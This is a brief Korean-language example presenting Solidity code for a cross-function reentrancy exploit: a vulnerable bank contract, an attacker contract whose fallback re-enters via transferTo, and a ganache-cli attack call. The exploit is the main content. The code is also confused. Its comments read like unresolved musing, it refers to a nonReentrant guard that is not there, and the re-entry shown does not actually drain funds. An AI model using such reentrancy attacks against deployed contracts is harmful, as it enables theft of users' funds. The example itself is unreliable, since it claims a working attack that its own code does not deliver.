
스마트 계약을 위한 교차 함수 재진입 익스플로잇 예제입니다. 폴백 재진입을 통한 자금 탈취를 시연하는 취약한 Solidity 계약과 공격자 계약을 포함합니다.
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
// Second function that also modifies state after external call? Not present.
// Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
// then fallback calls another function that also transfers, bypassing nonReentrant if not global.
function transferTo(address to, uint256 amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// Attacker contract:
contract Attacker {
VulnerableBank bank;
constructor(address _bank) { bank = VulnerableBank(_bank); }
fallback() external payable {
if (address(bank).balance >= 1 ether) {
// Re-enter via transferTo instead of withdraw
bank.transferTo(address(this), 1 ether); // this changes balances mapping
// then later withdraw again? The point is to exploit reentrancy across functions.
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
}
스마트 계약에 전역 재진입 가드가 없어, 공격자가 withdraw 호출 중 다른 함수를 통해 계약에 재진입하여 로컬 가드를 우회하고 자금을 탈취할 수 있습니다.
withdraw 함수는 외부 호출 후 잔액을 업데이트하며, 별도의 상태 변경 함수(transferTo)를 재진입으로 호출하여 잔액을 조작할 수 있습니다.ganache-cli
attacker.attack({value: web3.utils.toWei("1", "ether")})